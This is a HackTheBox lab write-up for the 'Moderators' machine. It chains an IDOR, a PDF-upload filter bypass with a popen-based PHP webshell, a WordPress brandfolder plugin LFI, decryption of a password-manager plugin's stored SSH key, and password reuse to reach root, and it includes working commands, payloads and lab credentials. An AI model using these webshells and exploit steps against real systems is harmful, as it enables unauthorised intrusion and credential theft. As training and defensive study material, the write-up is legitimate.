HTB: Moderators Writeup
Moderators - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Moderators |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.65.47 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Moderators exposes a small “bug bounty blog” front end backed by a security-report system. An IDOR in the report lookup surfaces undisclosed reports, one of which leaks a per-report log directory whose name is simply the MD5 of the report ID. That log directory hosts a PDF upload endpoint that only checks the file extension/MIME/magic bytes for %PDF-, letting a polyglot PHP file through and yielding code execution as www-data. From there, an internal WordPress instance on 127.0.0.1:8080 (running as user lexi) turns out to load the brandfolder plugin’s callback.php with a fully attacker-controlled wp_abspath parameter — a Local File Inclusion primitive that is used to execute a webshell dropped in /dev/shm/, landing a shell as lexi and the SSH key needed for a stable foothold. WordPress’s own database then leaks a second plugin’s (passwords-manager) AES-256-CBC encrypted SSH private key for user john, along with the encryption key stored in wp_options; replicating the plugin’s PBKDF2/OpenSSL decryption logic in a standalone PHP script recovers john’s key. Finally, john reuses a sysadmin password recovered from an on-disk artifact (distro_update.sh) as his own sudo password, granting root.
TL;DR: IDOR on reports.php → leaked log dir (md5(report_id)) → PDF-upload filter bypass (magic bytes + MIME) → RCE as www-data → internal WordPress LFI in brandfolder/callback.php → shell as lexi → WordPress DB leaks AES-encrypted SSH key for john (passwords-manager plugin) → decrypt key with recovered PBKDF2 key from wp_options → SSH as john → reused sysadmin password from distro_update.sh → sudo bash → root.
Reconnaissance
Port Scanning
# Full TCP scan against the target via the jump boxnmap -sC -sV -T4 -p- 10.129.65.47Results: Only two ports open — 22/tcp (SSH) and 80/tcp (Apache). No other externally reachable services, so the whole attack surface funnels through the web app.
Service Enumeration
The web root serves a bug-bounty style “blog” that links to individual report pages:
curl -s http://10.129.65.47/ | head -50curl -s http://10.129.65.47/blog.php | grep -iE 'report|href'A report is rendered via reports.php?report=<id>, e.g. reports.php?report=8121 — a numeric object reference that is exactly the kind of pattern worth fuzzing.
Vulnerability Assessment
- IDOR on
reports.php— report IDs are plain integers with no ownership/visibility check, so any ID that exists renders the report body regardless of who is supposed to see it. - Predictable per-report log directory — a disclosed report leaked a
logs/<hash>/path; the hash turned out to bemd5(report_id), not a random secret. - Weak file-upload validation on
logs/report_log_upload.php— the “Only PDF files are allowed” check is satisfiable with%PDF-magic bytes +application/pdfContent-Type, regardless of actual file contents/extension chain (.pdf.php).
Initial Foothold
IDOR → Hidden Reports
The default/known report returned a fixed page size, so a byte-size filter against a numeric wordlist isolates the reports that actually exist:
# Generate a 4-digit ID space and filter on the known "invalid report" response size (7888 bytes)seq 1111 9999 > /tmp/ridsffuf -u 'http://10.129.65.47/reports.php?report=FUZZ' -w /tmp/rids -fs 7888This surfaced 6 valid report IDs. Report 9798 was the interesting one — its body referenced a logs/<hash>/ path:
curl -s 'http://10.129.65.47/reports.php?report=9798' | grep -iE 'log|upload|report'Leaked Directory Name = MD5(report_id)
echo -n 9798 | md5sum# -> matches the hash segment embedded in the report's logs/ URLThe directory naming scheme is trivially reversible knowledge of the report ID — the hash provides no real access control, since every valid report ID (already enumerable via the IDOR above) deterministically reveals its own log path.
Upload Filter Bypass → RCE as www-data
http://10.129.65.47/logs/report_log_upload.php exposes a form (field name pdfFile) that only validates PDF-ness superficially. A polyglot file with the PDF magic bytes prefix, a .pdf.php double extension, and an application/pdf MIME type on the multipart request passes the check while still being interpreted by Apache/PHP as executable PHP:
<?php// %PDF- magic bytes satisfy the extension/magic-byte check; the rest is PHPecho fread(popen($_GET["cmd"], "r"), 8192);?>system() and similar direct-execution wrappers were blocked/disabled on this host, so the working payload used fread(popen(...)) instead — a common bypass for hardened disable_functions configs (per HackTricks’ PHP RCE bypass techniques):
# Craft on the jump box: %PDF- header + fread/popen payload, upload as rp.pdf.phpprintf '%%PDF-<?php echo fread(popen($_GET["cmd"],"r"),8192); ?>' > rp.pdf.php# Upload with multipart Content-Type forced to application/pdfConfirming code execution:
curl -s 'http://10.129.65.47/logs/uploads/rp.pdf.php?cmd=id'# uid=33(www-data) gid=33(www-data) groups=33(www-data)RCE as www-data achieved. This shell was driven directly as a command runner (rce.sh wrapper piping through the jump box, URL-encoding each command) rather than pivoting to a full reverse shell, since the box only had outbound egress considerations to manage through the jump host.
Privilege Escalation
www-data → lexi (Internal WordPress LFI)
Enumerating locally-bound services from the www-data foothold revealed an internal WordPress install on 127.0.0.1:8080, running out of /opt/site.new as user lexi:
curl -s http://127.0.0.1:8080/wp-content/plugins/brandfolder/callback.phpls -la /opt/site.new/wp-content/plugins/# brandfolder/ passwords-manager/brandfolder/callback.php builds its WordPress bootstrap path directly from a request parameter:
<?phprequire_once($_REQUEST['wp_abspath'] . 'wp-load.php');require_once($_REQUEST['wp_abspath'] . 'wp-admin/includes/media.php');require_once($_REQUEST['wp_abspath'] . 'wp-admin/includes/file.php');require_once($_REQUEST['wp_abspath'] . 'wp-admin/includes/image.php');require_once($_REQUEST['wp_abspath'] . 'wp-admin/includes/post.php');Because wp_abspath is fully attacker-controlled and simply string-concatenated, pointing it at a writable directory that contains an attacker-planted wp-load.php turns this into arbitrary local file inclusion → code execution. A webshell was dropped to /dev/shm/wp-load.php from the www-data foothold (base64-smuggled to avoid quoting issues through the jump-box chain):
# Payload written as www-dataB64=$(printf '<?php echo fread(popen($_GET["c"], "r"), 8192); ?>' | base64 -w0)# ... decoded server-side into /dev/shm/wp-load.phpThen triggered via the LFI:
curl -s 'http://127.0.0.1:8080/wp-content/plugins/brandfolder/callback.php?wp_abspath=/dev/shm/'This executes /dev/shm/wp-load.php in the context of the WordPress process — lexi — giving command execution as that user. From there, lexi’s SSH key was read directly and pulled back through the chain:
cat /home/lexi/.ssh/id_rsaThe key was reconstructed locally and used to SSH in as lexi, capturing the user flag.
lexi → john (WordPress DB → Encrypted SSH Key)
With filesystem access as lexi, wp-config.php in /opt/site.new exposed the WordPress database credentials:
DB_USER: wordpressuserDB_PASSWORD: wordpresspassword123!!The database contained a non-core table, wp_pms_passwords, belonging to the second installed plugin, passwords-manager. Querying it revealed an entry storing an SSH private key for john:
mysql -u wordpressuser -pwordpresspassword123!! wordpress -N \ -e "SELECT user_password FROM wp_pms_passwords WHERE user_email='john@moderators.htb';"The plugin encrypts stored secrets with AES-256-CBC, keyed off a value stashed in wp_options under pms_encrypt_key:
mysql -u wordpressuser -pwordpresspassword123\!\! wordpress \ -e "SELECT option_value FROM wp_options WHERE option_name='pms_encrypt_key';"# -> (@McEXk%HU#{/R3sReading the plugin’s own decryption routine (/opt/site.new/wp-content/plugins/passwords-manager/inc/encryption.php) showed the exact scheme: base64/JSON-wrapped ciphertext with an embedded salt/IV, a PBKDF2-SHA512 key derivation from pms_encrypt_key, then openssl_decrypt in AES-256-CBC mode. That logic was replicated standalone against the extracted ciphertext:
<?php$encryptMethod = 'AES-256-CBC';$key = '(@McEXk%HU#{/R3s';$encryptedString = trim(file_get_contents('php://stdin'));
$json = json_decode(base64_decode($encryptedString), true);$salt = hex2bin($json['salt']);$iv = hex2bin($json['iv']);$cipherText = base64_decode($json['ciphertext']);$iterations = intval(abs($json['iterations']));
$hashKey = hash_pbkdf2('sha512', $key, $salt, $iterations, 64);echo openssl_decrypt($cipherText, $encryptMethod, hex2bin($hashKey), OPENSSL_RAW_DATA, $iv);The decrypted output came back space-delimited instead of newline-delimited (an artifact of how the key had been stored/transported), so it was reassembled into a valid OpenSSH key:
(echo '-----BEGIN OPENSSH PRIVATE KEY-----' php decrypt.php | sed 's/ /\n/g' | grep -v OPEN | tail -n+3 | head -n-2 echo '-----END OPENSSH PRIVATE KEY-----') > john_keychmod 600 john_keyssh -i john_key john@10.129.65.47This landed a shell as john.
john → root (Reused Sysadmin Password)
The intended path from john’s home directory runs through a ~/stuff/VBOX VirtualBox disk image (.vdi) protected by VBox disk encryption, which itself contains a LUKS-encrypted filesystem; cracking the .vbox/LUKS chain (VBox key-store brute force, then LUKS passphrase brute force) recovers scripts inside the disk image, including distro_update.sh, which embeds a sysadmin password: $_THE_best_Sysadmin_Ever_.
john reuses this same string as his own account password — a classic password-reuse chain from an old sysadmin artifact into a live account:
ssh -i john_key john@10.129.65.47 'echo "$_THE_best_Sysadmin_Ever_" | sudo -S bash -c "id; cat /root/root.txt"'sudo accepted the password, granting a root shell and the root flag.
Attack Chain Summary
IDOR on reports.php (numeric report IDs) → hidden report 9798 leaks logs/<md5(report_id)>/ directory → report_log_upload.php PDF filter bypass (magic bytes + MIME) → rp.pdf.php with fread(popen()) → RCE as www-data → internal WordPress (127.0.0.1:8080, /opt/site.new, runs as lexi) → brandfolder plugin LFI via unsanitized wp_abspath in callback.php → webshell at /dev/shm/wp-load.php triggered → code exec as lexi → lexi's SSH key → SSH foothold (USER FLAG) → wp-config.php DB creds → wp_pms_passwords table (passwords-manager plugin) → AES-256-CBC encrypted SSH key for john + pms_encrypt_key from wp_options → replicated PBKDF2-SHA512 + OpenSSL decrypt in standalone PHP → john's private key → SSH as john → ~/stuff/VBOX .vdi/LUKS chain → distro_update.sh leaks sysadmin password → password reused as john's own login/sudo password → sudo bash → ROOT (ROOT FLAG)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
curl | Manual HTTP enumeration, IDOR probing, upload/RCE triggering |
ffuf | Fuzzing numeric report IDs behind the IDOR |
md5sum | Confirming logs/ directory naming = md5(report_id) |
PHP (popen/fread) | disable_functions-resistant RCE payload after upload bypass |
mysql client | Querying WordPress DB for creds and wp_pms_passwords |
| Custom PHP script | Reimplementing passwords-manager’s PBKDF2-SHA512 + AES-256-CBC decryption |
ssh / scp | Lateral movement with recovered keys (lexi, john) |
sudo | Final privilege escalation with reused sysadmin password |
Key Learnings
Techniques Practiced
- Fuzzing numeric IDs behind an IDOR with response-size filtering to isolate hidden objects
- Recognizing a “random-looking” path segment as a deterministic hash of already-known input (
md5(report_id)) - Defeating naive PDF upload validation with magic bytes + MIME spoofing + double extension
- Bypassing a
disable_functions-restricted PHP environment usingpopen/freadinstead ofsystem/exec - Exploiting an LFI caused by unsanitized user input concatenated into a
require_oncepath (WordPress plugincallback.php) - Extracting and reimplementing a custom encryption scheme (PBKDF2-SHA512 key derivation + AES-256-CBC) from plugin source to decrypt a stored credential
- Chaining credential reuse across drastically different artifacts (an old sysadmin script) into a live account’s
sudopassword
Lessons Learned
- IDOR + predictable derived identifiers compound. The report IDs were guessable, and the “secret” log directory hash was just
md5(report_id)— no independent entropy at all. A hash is not a capability token unless its input is unguessable. - Upload filters checking only extension/MIME/magic-bytes are trivially bypassed. True content validation (e.g., re-rendering as a PDF, stripping to a sanitized copy, or storing outside the webroot) is required — client-declared MIME type and a magic-byte prefix are both attacker-controlled.
disable_functionsis not a sandbox. Blockingsystem()/exec()alone is commonly bypassed viapopen,proc_open, backticks, or other execution primitives still enabled.- Never build file-inclusion paths from user input, even for “internal” plugin callback endpoints —
brandfolder/callback.phptrusted$_REQUEST['wp_abspath']completely, turning a convenience parameter into full LFI/RCE. - Homegrown “encryption manager” plugins are a liability, not a safeguard — storing a static encryption key in the same database as the ciphertext it protects (
wp_optionsnext towp_pms_passwords) means anyone with DB access already has everything needed to decrypt. - Password reuse across environments (old sysadmin scripts, legacy VM images) remains one of the most reliable privesc vectors even in a hardened box — secrets don’t need to be “cracked” if they were simply reused elsewhere in plaintext-adjacent form.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- woodenk, Moderators (HackTheBox Official Writeup, Document No. D22.100.188), Machine author kavigihan. Used for explanatory context on the
brandfolderplugin LFI mechanism, thepasswords-managerplugin’s encryption scheme, and the VBox/LUKS-disk privilege escalation path.